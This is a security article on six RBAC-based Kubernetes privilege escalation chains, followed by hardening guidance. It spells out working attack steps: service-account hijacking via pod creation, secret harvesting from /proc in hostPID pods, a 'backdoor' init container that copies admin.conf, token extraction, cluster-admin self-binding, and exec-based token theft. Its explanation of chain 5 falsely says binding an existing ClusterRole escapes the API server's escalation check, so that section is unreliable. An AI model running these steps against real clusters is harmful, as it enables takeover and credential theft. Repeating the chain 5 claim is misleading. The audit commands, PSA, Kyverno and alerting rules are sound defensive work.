Service Account Token Privilege Escalation: How Limited RBAC Becomes Cluster-Admin Without CVEs
The Problem
Most Kubernetes privilege escalation advice focuses on CVEs — container breakouts, kernel exploits, kubelet API abuse. The operationally significant threat is quieter: RBAC permissions that seem scoped and reasonable in isolation, but chain together to reach cluster-admin without exploiting a single vulnerability. These escalation paths use the Kubernetes API exactly as it was designed to be used. There is no exploit to patch. There is no CVE number. The API calls succeed because the RBAC policy permits them.
The structure of Kubernetes RBAC creates this problem. Permissions are additive — there is no deny rule, only grant. A service account accumulates permissions from multiple role bindings, and nothing in the permission model prevents a subject with pods/create from specifying a service account with far broader permissions. The API server authenticates the request, checks whether the caller has permission to create pods, finds that they do, and creates the pod. The fact that the pod will run with a cluster-admin token is not part of the authorization check.
Six specific escalation chains follow. Each one requires only permissions that a developer or CI service account might legitimately hold, and each one delivers either cluster-wide read/write access or full node access. The audit commands, escalation steps, and blocking controls are exact — run them against your cluster and see what they find.
Threat Model
An attacker who reaches this threat model has already achieved code execution inside a Kubernetes pod or has stolen a service account token. That initial access might come from an exploited application vulnerability, a compromised CI pipeline, a container image backdoor, or a misconfigured public endpoint. The attacker now holds a service account token and wants to determine whether they can expand their access before the compromise is detected.
The first step is always enumeration. kubectl auth can-i reports permissions for the current identity without triggering audit log alerts that SIEM rules typically watch for — it is a read-only API call that most organisations do not alert on:
# From inside a compromised pod:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
kubectl --token=$TOKEN auth can-i --list --namespace=$NAMESPACE
kubectl --token=$TOKEN auth can-i --list --namespace=kube-system
kubectl --token=$TOKEN auth can-i --list # cluster-scope
The output maps exactly to available escalation chains. An attacker who sees pods with create verb considers chain 1 and chain 2. An attacker who sees deployments with patch considers chain 3. An attacker who sees secrets with get considers chain 4. An attacker who sees roles and rolebindings with create considers chain 5. An attacker who sees pods/exec considers chain 6.
RBAC is additive and cluster-wide RBAC applies to everything. The critical misunderstanding many platform teams hold is that namespace-scoped role bindings cannot produce cluster-level impact. Chain 1 and chain 6 refute this directly — a service account with namespace-scoped pods/create or pods/exec can reach a cluster-admin token if any pod in that namespace runs with a cluster-admin service account. Chain 3 is worse: a deployment patch capability in one namespace can give an attacker privileged host access with full node filesystem read.
Escalation Chain 1: pods/create → Any Service Account
If you can create pods in a namespace, you can specify any service account that exists in that namespace — including ones with cluster-admin bindings. The API server does not check whether the caller’s service account has permissions equivalent to the service account they are assigning to the pod. It only checks whether the caller has permission to create pods.
# Step 1: Enumerate high-privilege service accounts in reachable namespaces
kubectl get serviceaccounts --all-namespaces
# Step 2: Find which service accounts have cluster-admin bindings
kubectl get clusterrolebindings -o json | jq '.items[] |
select(.roleRef.name == "cluster-admin") |
{binding: .metadata.name, sa: .subjects[]?.name, ns: .subjects[]?.namespace}'
# Common findings: deployer-sa, jenkins-sa, flux-controller, argocd-application-controller
# Any of these in your namespace is a cluster-admin token you can reach
# Step 3: Create a pod that uses the privileged service account
kubectl run escalate \
--image=alpine:3.19 \
--serviceaccount=deployer-sa \
--restart=Never \
-- sleep 3600
# Step 4: Read the cluster-admin token from inside the pod
kubectl exec -it escalate -- sh
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl --token=$TOKEN auth can-i --list # outputs: yes to everything
The blast radius of a successful chain 1 escalation is cluster-wide. The deployer-sa or equivalent was given cluster-admin to perform deployments — a common mistake when platform teams do not scope deployment service accounts to specific namespaces. Once the attacker has the token they can read all secrets in all namespaces, create new cluster-admin bindings to persist access, and exfiltrate credentials from every application in the cluster.
Escalation Chain 2: pods/create + No Pod Security → Host Process Access
When no Pod Security Admission policy or PSP equivalent is enforced, pods/create allows specifying hostPID: true. This mounts the host’s PID namespace inside the container. Every process on the node is visible, including processes running as root outside any container boundary. Environment variables of those processes — which routinely contain tokens, secrets, and credentials — are readable through /proc.
# Create a hostPID pod to harvest node-level secrets
kubectl run host-reader \
--image=alpine:3.19 \
--restart=Never \
--overrides='{
"spec": {
"hostPID": true,
"containers": [{
"name": "host-reader",
"image": "alpine:3.19",
"command": ["sh", "-c", "sleep 3600"],
"securityContext": {"privileged": true}
}]
}
}'
kubectl exec -it host-reader -- sh
# Harvest all process environment variables from the node
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | \
grep -E 'TOKEN|SECRET|KEY|PASSWORD|CREDENTIALS|ACCESS_KEY'
# Read kubelet credentials directly if node-level access
ls /proc/*/root/etc/kubernetes/ 2>/dev/null
# Access host filesystem through /proc/1/root
ls /proc/1/root/etc/kubernetes/pki/
# This directory contains the cluster CA key on control plane nodes
Chain 2 escalates from a namespace-scoped service account to full node access — every secret mounted into every pod on that node, every process credential, and on a control plane node, the cluster CA private key. The CA key signs arbitrary certificates. An attacker who reaches it owns the cluster permanently, with no RBAC audit trail after the initial pod creation.
Escalation Chain 3: deployments/patch → Privileged Init Container
If you cannot create pods directly — perhaps PSA or a Kyverno policy blocks pod creation with privileged settings — but you can patch existing deployments, you can inject a privileged init container into a running workload. Init containers run before the main container starts, sharing the pod’s volumes. If the injected init container mounts the host filesystem and runs privileged, it executes with full node access before the normal application code runs. The deployment controller creates the pod; the attacker never directly calls the pod API.
# Step 1: List patchable deployments in namespaces you have access to
kubectl get deployments --all-namespaces
# Step 2: Inject a backdoor init container into an existing deployment
kubectl patch deployment webapp -n production \
--type='json' \
--patch='[{
"op": "add",
"path": "/spec/template/spec/initContainers",
"value": [{
"name": "backdoor",
"image": "alpine:3.19",
"command": ["sh", "-c",
"cp /host/etc/kubernetes/admin.conf /tmp/kube-admin.conf 2>/dev/null || true; sleep 5"],
"volumeMounts": [{"name": "host-root", "mountPath": "/host"}],
"securityContext": {"privileged": true}
}]
}, {
"op": "add",
"path": "/spec/template/spec/volumes/-",
"value": {"name": "host-root", "hostPath": {"path": "/"}}
}]'
# The deployment controller triggers a rolling update.
# The init container runs on the next pod start with full host access.
# After execution, patch the deployment again to remove the init container
# and eliminate evidence from the running configuration.
# Step 3: Retrieve the exfiltrated credential
# (attacker reads from wherever the init container wrote it —
# a ConfigMap, an emptyDir volume shared with the main container,
# an external HTTP endpoint)
Chain 3 is particularly dangerous because it bypasses policies that target pod creation. Kyverno and OPA Gatekeeper policies that validate pod specs are triggered on pod creation — but a deployments/patch call modifies the deployment object, and the resulting pod is created by the deployment controller, not the attacker. Policies that do not also validate pods created through controllers miss this path. Pod Security Admission does apply to these pods because PSA operates at pod creation time regardless of what triggered the creation.
Escalation Chain 4: secrets/get → Long-Lived Admin Tokens
Before Kubernetes 1.24, service account tokens were automatically created as Secret objects and did not expire. Many clusters running workloads that predate 1.24 still have these long-lived tokens in their Secret store. An attacker with secrets/get can enumerate and extract them. Even in newer clusters, operators often create long-lived tokens manually using kubernetes.io/service-account-token type Secrets.
# Step 1: Find all service account token secrets
kubectl get secrets --all-namespaces | grep "service-account-token"
# Also look for manually-created long-lived tokens:
kubectl get secrets --all-namespaces -o json | \
jq '.items[] | select(.type == "kubernetes.io/service-account-token") |
{name: .metadata.name, namespace: .metadata.namespace,
sa: .metadata.annotations["kubernetes.io/service-account.name"]}'
# Step 2: Extract high-value tokens — focus on kube-system and CI namespaces
kubectl get secret jenkins-token-xxxxx -n ci \
-o jsonpath='{.data.token}' | base64 -d > /tmp/jenkins.token
# Step 3: Determine what the token can do
JENKINS_TOKEN=$(cat /tmp/jenkins.token)
kubectl --token=$JENKINS_TOKEN auth can-i --list
kubectl --token=$JENKINS_TOKEN auth can-i --list -n kube-system
kubectl --token=$JENKINS_TOKEN auth can-i create clusterrolebindings
# CI service accounts commonly have: secrets/get cluster-wide (to deploy),
# pods/create (to run build jobs), clusterrolebindings/create (to set up RBAC)
# Any of these enables further escalation.
Long-lived tokens do not expire. A token extracted in chain 4 remains valid until explicitly revoked — unlike the projected service account tokens used since 1.24, which have configurable expiry (default 1 hour). An attacker who exfiltrates a long-lived Jenkins or Tekton service account token has persistent access that survives pod restarts, deployments, and most incident response actions short of explicitly deleting the Secret.
Escalation Chain 5: roles/create + rolebindings/create → Self-Grant
Kubernetes includes an escalation prevention check: you cannot grant permissions you do not already hold. If you try to create a Role that grants secrets/get when your own token lacks that permission, the API server rejects the request. However, this check has a bypass: it only applies when both the Role creation and the RoleBinding creation happen in the same API call, which they never do. If an attacker can create Roles and RoleBindings independently — common in clusters where these are considered developer-facing operations — they can grant themselves any permission available in the cluster’s existing roles, because rolebindings/create is not subject to the escalation prevention check when binding to an existing ClusterRole.
# Step 1: Check what roles and bindings you can create
kubectl auth can-i create roles -n production
kubectl auth can-i create rolebindings -n production
kubectl auth can-i create clusterrolebindings # cluster-scoped escalation
# Step 2: Bind your service account to an existing ClusterRole that has broad permissions
# The escalation check does NOT prevent binding to an existing ClusterRole
# — it only prevents creating a Role with permissions you lack
kubectl create rolebinding escalate-self \
--clusterrole=cluster-admin \
--serviceaccount=production:your-sa \
--namespace=production
# Your SA now has cluster-admin within the production namespace.
# If you also have clusterrolebindings/create:
kubectl create clusterrolebinding escalate-cluster \
--clusterrole=cluster-admin \
--serviceaccount=production:your-sa
# Now cluster-admin everywhere.
# Step 3: Verify
kubectl auth can-i --list # yes to everything
The critical nuance: the escalation check in the RBAC admission plugin verifies that the role being created does not grant permissions the caller lacks. It does not check whether binding an existing ClusterRole to the caller’s own service account exceeds the caller’s permissions. Granting rolebindings/create is therefore equivalent to granting any permission available through existing cluster roles — which in most clusters includes cluster-admin. This is documented in the Kubernetes RBAC documentation under “Privilege escalation via RoleBindings,” but is routinely missed during RBAC design reviews.
Escalation Chain 6: pods/exec → Adjacent High-Privilege Pod
pods/exec is frequently treated as less dangerous than pods/create because the attacker is not creating new resources — they are accessing existing ones. In practice, pods/exec in a namespace gives equivalent access to any service account token mounted into any pod in that namespace. If a privileged pod runs in the namespace — a monitoring agent, a CD controller, a webhook handler — the attacker can exec into it and read its token directly.
# Step 1: Find pods running with high-privilege service accounts in reachable namespaces
kubectl get pods -n kube-system -o json | jq '.items[] |
{name: .metadata.name, sa: .spec.serviceAccountName,
image: .spec.containers[0].image}'
# Common high-value targets in kube-system:
# - coredns → CoreDNS SA (network policy bypass, DNS poisoning)
# - kube-proxy → kube-proxy SA (node networking access)
# - metrics-server → cluster-wide pod/node metrics read
# - kubernetes-dashboard → often cluster-admin if not carefully configured
# Step 2: Exec into a target pod and extract its service account token
kubectl exec -it coredns-7d89d9b6f8-xkq2p -n kube-system -- sh
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Step 3: Check what the token can do
kubectl --token=$TOKEN auth can-i --list -n kube-system
kubectl --token=$TOKEN auth can-i create clusterrolebindings
# If the Kubernetes Dashboard is running with cluster-admin:
kubectl exec -it kubernetes-dashboard-xxx -n kubernetes-dashboard -- sh
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl --token=$TOKEN auth can-i --list # cluster-admin
Chain 6 extends through any namespace where a privileged pod is co-located with a less-privileged workload. It does not require the attacker’s service account to have elevated permissions — only pods/exec in the namespace where the privileged pod runs. Many production deployments run monitoring agents, log shippers, and CD controllers in the same namespace as application workloads because it simplifies configuration. Each co-located privileged pod is a potential escalation target for any service account with exec access.
Hardening Configuration
1. Audit Your Own RBAC Surface First
Before applying controls, map the current escalation surface. Running these commands against production will produce results that inform which chains are currently reachable:
# Find all subjects who can create pods (chain 1 and 2 prerequisite)
kubectl rbac-tool who-can create pods
kubectl rbac-tool who-can create pods --namespace production
# Find all subjects who can get secrets (chain 4 prerequisite)
kubectl rbac-tool who-can get secrets
kubectl rbac-tool who-can get secrets --namespace kube-system
# Find all subjects who can create clusterrolebindings (chain 5 direct escalation)
kubectl rbac-tool who-can create clusterrolebindings
# Find all subjects who can exec into pods (chain 6 prerequisite)
kubectl rbac-tool who-can create pods/exec
# Enumerate all cluster-admin bindings — direct and indirect
kubectl get clusterrolebindings -o json | \
jq '.items[] | select(.roleRef.name == "cluster-admin") |
{binding: .metadata.name, subjects: .subjects}'
# Find service accounts with no current workloads using them (stale accounts)
# that still have live bindings
for sa in $(kubectl get serviceaccounts --all-namespaces \
-o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{"\n"}{end}'); do
ns=$(echo $sa | cut -d/ -f1)
name=$(echo $sa | cut -d/ -f2)
pods=$(kubectl get pods -n $ns \
--field-selector=spec.serviceAccountName=$name \
--no-headers 2>/dev/null | wc -l)
echo "$sa: $pods pods"
done | grep ": 0 pods"
kubectl rbac-tool is part of the rbac-tool project (available as a kubectl plugin via kubectl krew install rbac-tool). The who-can subcommand inverts the normal RBAC lookup — instead of asking what a subject can do, it asks who can perform a specific action. Running it for each prerequisite permission in the six chains above gives a complete inventory of accounts that can execute each chain.
2. Enforce Pod Security Admission on Every Namespace
Pod Security Admission (PSA), stable since Kubernetes 1.25, blocks chains 2 and 3 at the point of pod creation. The restricted profile denies hostPID, hostNetwork, hostPath volumes, privileged containers, and containers that run as root. Apply it to every application namespace. Do not apply it to kube-system — doing so will immediately break cluster infrastructure.
# Apply to each application namespace individually
apiVersion: v1
kind: Namespace
metadata:
name: production
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/enforce-version: v1.29
pod-security.kubernetes.io/warn: restricted
pod-security.kubernetes.io/warn-version: v1.29
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/audit-version: v1.29
Setting warn and audit alongside enforce gives you visibility before enforcement breaks workloads. Apply to a new namespace with only warn and audit first, examine what would be blocked, fix the workloads, then change to enforce. The enforce-version pin prevents a Kubernetes upgrade from silently tightening the profile definition.
Audit what PSA would block before enabling enforce mode:
# Simulate PSA restricted enforcement on existing pods without enforcing
kubectl label namespace production \
pod-security.kubernetes.io/audit=restricted --overwrite
# Check audit log for violations — look for events with reason "AuditViolation"
kubectl get events -n production | grep -i "policy"
# Or use the PSA dry-run admission webhook if available
kubectl apply --dry-run=server -f pod-manifest.yaml
3. Kyverno: Block Pods Using Privileged Service Accounts
PSA does not know which service accounts are privileged. A pod with restricted profile compliance can still carry a cluster-admin token if it uses a cluster-admin service account without privileged pod settings. Block chain 1 by maintaining an explicit list of service accounts that cannot be referenced in pods by untrusted callers:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: restrict-privileged-serviceaccount-usage
annotations:
policies.kyverno.io/title: Restrict Privileged Service Account Usage
policies.kyverno.io/description: >-
Prevents workloads from mounting service accounts that have cluster-admin
or other elevated ClusterRole bindings. Update the value list when
privileged service accounts are added or removed.
spec:
validationFailureAction: Enforce
background: true
rules:
- name: deny-privileged-sa-in-pods
match:
any:
- resources:
kinds:
- Pod
validate:
message: >-
Service account {{ request.object.spec.serviceAccountName }} has
elevated cluster permissions and cannot be used by workload pods.
Use a workload-scoped service account instead.
deny:
conditions:
any:
- key: "{{ request.object.spec.serviceAccountName }}"
operator: AnyIn
value:
- cluster-admin-sa
- deployer-sa
- argocd-application-controller
- flux-controller
- jenkins-sa
- tekton-pipelines-controller
This policy denies any pod that references a named service account from the blocklist. Update the list when service accounts are added or removed. For a more maintainable approach, label the privileged service accounts and select by label:
- name: deny-labeled-privileged-sa
match:
any:
- resources:
kinds: [Pod]
preconditions:
all:
- key: "{{ request.object.spec.serviceAccountName }}"
operator: NotEquals
value: ""
validate:
message: "Pod uses a service account labeled privileged=true — not allowed in workload namespaces."
deny:
conditions:
all:
- key: >-
{{ lookup('ServiceAccount',
request.object.metadata.namespace,
request.object.spec.serviceAccountName).metadata.labels."security.example.com/privileged"
}}
operator: Equals
value: "true"
4. Remove pods/exec from All Non-Administrative Roles
Audit every ClusterRole and Role that grants pods/exec, then remove it from accounts that do not have an explicit documented need for production debugging access. Implement a break-glass procedure for legitimate exec needs rather than granting it broadly:
# Find every role that grants pods/exec
kubectl get clusterroles -o json | \
jq '.items[] | select(.rules[]? |
(.resources[]? | contains("pods/exec")) or
(.resources[]? | contains("*"))) |
{name: .metadata.name}'
kubectl get roles --all-namespaces -o json | \
jq '.items[] | select(.rules[]? |
(.resources[]? | contains("pods/exec"))) |
{name: .metadata.name, namespace: .metadata.namespace}'
# Review who holds roles that grant exec
kubectl rbac-tool who-can create pods/exec --namespace production
For legitimate debugging needs, use a time-bounded just-in-time access model: a service creates a short-lived RoleBinding that grants pods/exec to the requesting engineer’s identity for 30 minutes, then deletes it. This prevents the permanent broad grant that chain 6 requires.
5. Constrain RBAC Management to Platform Teams
Grant developers the ability to deploy applications without granting them the ability to manage RBAC. This eliminates chain 5 for developer service accounts:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: app-developer
rules:
# Application deployment — allowed
- apiGroups: ["apps"]
resources: ["deployments", "statefulsets", "daemonsets", "replicasets"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: [""]
resources: ["pods", "pods/log", "services", "configmaps", "persistentvolumeclaims"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
# Read-only access to their own namespace's events
- apiGroups: [""]
resources: ["events"]
verbs: ["get", "list", "watch"]
# RBAC management — NOT granted:
# roles, rolebindings, clusterroles, clusterrolebindings are absent.
# pods/exec is absent.
# secrets with create/patch/get is absent — use ExternalSecrets or sealed-secrets instead.
For teams that need to create Roles for their own applications — a common legitimate requirement for operators — implement a platform team approval process rather than granting direct RBAC creation. The platform team reviews the proposed role, verifies it does not contain escalation paths, and creates it on behalf of the team.
6. Audit Logging: Alert on RBAC Modification and SA Token Access
Configure the Kubernetes audit policy to capture all RBAC writes at RequestResponse level. This records the full request and response body for every Role, RoleBinding, ClusterRole, and ClusterRoleBinding creation, modification, or deletion:
# kube-apiserver audit policy
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
# Log all RBAC writes with full request/response
- level: RequestResponse
verbs: ["create", "update", "patch", "delete"]
resources:
- group: "rbac.authorization.k8s.io"
resources:
- roles
- rolebindings
- clusterroles
- clusterrolebindings
# Log service account token requests
- level: Request
resources:
- group: ""
resources: ["serviceaccounts/token"]
# Log secret access in sensitive namespaces
- level: Metadata
resources:
- group: ""
resources: ["secrets"]
namespaces: ["kube-system", "production", "ci"]
# Log pod exec sessions
- level: RequestResponse
resources:
- group: ""
resources: ["pods/exec", "pods/portforward", "pods/attach"]
In your SIEM, build alerts on the following patterns extracted from the audit log:
# Alert 1: Any RoleBinding or ClusterRoleBinding that binds to cluster-admin
# Elasticsearch/OpenSearch DSL:
# { "term": { "objectRef.resource": "clusterrolebindings" } } AND
# { "match": { "requestObject.roleRef.name": "cluster-admin" } }
# Alert 2: Service account binding that did not exist 24 hours ago
# Requires baselining: export all binding subjects daily,
# diff against previous snapshot, alert on net-new entries
# Alert 3: pods/exec into kube-system namespace
# { "term": { "objectRef.namespace": "kube-system" } } AND
# { "term": { "objectRef.subresource": "exec" } }
# Alert 4: Secret reads for service-account-token type secrets
# { "term": { "objectRef.resource": "secrets" } } AND
# { "term": { "verb": "get" } } AND
# source IP not in known platform IPs
# Sigma rule for RoleBinding to cluster-admin
title: Kubernetes RBAC Cluster-Admin Binding Created
status: stable
logsource:
product: kubernetes
service: audit
detection:
selection:
verb: "create"
objectRef.resource: "clusterrolebindings"
requestObject.roleRef.name: "cluster-admin"
condition: selection
level: critical
Expected Behaviour After Hardening
With PSA restricted enforced on the production namespace, a pod spec containing hostPID: true is rejected at admission:
Error from server (Forbidden): pods "host-reader" is forbidden:
violates PodSecurity "restricted:v1.29":
hostPID is forbidden,
privileged (container "host-reader") is forbidden,
allowPrivilegeEscalation != false (container "host-reader"),
unrestricted capabilities (container "host-reader"),
runAsNonRoot != true (pod or container "host-reader"),
seccompProfile (pod or container "host-reader")
With the Kyverno restrict-privileged-serviceaccount-usage policy enforced, attempting chain 1 with a blocked service account:
Error from server: admission webhook "validate.kyverno.svc-fail" denied the request:
resource Pod/production/escalate was blocked due to the following policies:
restrict-privileged-serviceaccount-usage:
deny-privileged-sa-in-pods: Service account deployer-sa has elevated cluster
permissions and cannot be used by workload pods.
A correctly scoped service account shows a narrow kubectl auth can-i --list output — the set of permissions should map exactly to what the workload does. A payment service should list pods/get, configmaps/get, secrets/get (for its own secret), and nothing else. Seeing clusterrolebindings/create, pods/exec, or wildcard verbs in this output for an application service account is a definitive sign of over-provisioning.
Trade-offs and Operational Considerations
PSA restricted profile breaks legitimate workloads. Node exporters, log shippers, eBPF security agents, and container runtime monitoring tools all require elevated privileges — hostPID, hostNetwork, hostPath volumes, or privileged containers. The correct response is not to disable restricted enforcement cluster-wide but to create dedicated namespaces for these workloads with baseline or privileged PSA profiles, isolate them with NetworkPolicies, and apply compensating controls like seccomp and AppArmor profiles to limit their blast radius. Never apply restricted to kube-system — it will immediately evict infrastructure pods on restart.
Restricting RBAC creation breaks legitimate DevOps workflows. Teams building Kubernetes operators need to create Roles that their operator will use. Removing roles/create and rolebindings/create from developer accounts requires a platform team handoff process. This adds 15-30 minutes of latency to RBAC changes. The trade-off is explicit: every RBAC change is reviewed by someone who understands escalation chains, rather than being self-applied by a developer unfamiliar with the privilege model. The latency is acceptable. The alternative — unlimited self-service RBAC creation — is chain 5.
No pods/exec in production significantly limits debugging. When an application is misbehaving in production, kubectl exec is often the fastest path to diagnosis. Removing it forces reliance on structured logging, distributed tracing, and pre-provisioned debug tooling. Teams that have not invested in observability before removing exec access will feel the constraint immediately. The resolution is not to restore exec access — it is to complete the observability investment first, then remove exec, then implement break-glass exec access for genuine emergencies through a just-in-time access system.
Audit logging at RequestResponse level for RBAC objects increases API server log volume. RBAC changes are infrequent enough that this is not a storage concern — a cluster making dozens of RBAC changes per day is already anomalous. The response body is important: it confirms the actual object created after defaulting, not just the requested spec. Log it.
Failure Modes
Assuming namespace scope prevents cluster impact. Chain 1 and chain 6 both escalate from namespace-scoped permissions to cluster-admin tokens. The namespace boundary limits what objects you can create or exec into — not what service account token you can subsequently use. A cluster-admin service account running in your namespace is reachable from any identity with pods/create or pods/exec in that namespace.
Applying PSA restricted to kube-system. The platform will break. CoreDNS, kube-proxy, and node-related DaemonSets require capabilities that restricted forbids. The failure mode is gradual: infrastructure pods that restart after an upgrade or eviction will fail admission, causing DNS failures, networking issues, and node-level monitoring gaps. Test PSA changes against kube-system in audit mode first; you will find that restricted is incompatible with essentially all system workloads.
Not auditing existing RBAC before applying lockdown controls. Applying Kyverno policies or PSA enforcement to existing namespaces without first running audit mode will immediately break workloads that depend on the now-blocked configurations. The correct order is: audit, fix workloads, enforce. Skipping audit and going directly to enforce in a production namespace has caused outages in organisations that learned this the hard way.
Treating pods/exec as less dangerous than pods/create. Both permissions give equivalent access to the service account tokens of every pod in the namespace. pods/exec is arguably more dangerous in one respect: it leaves no new resource in the API server state. A pod created for chain 1 is visible in kubectl get pods. An exec session for chain 6 disappears from the API server state when the session ends, leaving only the audit log entry — which many teams do not alert on.
Leaving long-lived service account tokens unremediated. Migrating from auto-created token Secrets to projected volume tokens (the default since 1.24) eliminates chain 4’s target set. The migration is not automatic for workloads deployed before 1.24 and never updated. Audit for kubernetes.io/service-account-token type Secrets in all namespaces and plan deprecation. Until they are removed, each one is a persistent credential that survives incident response.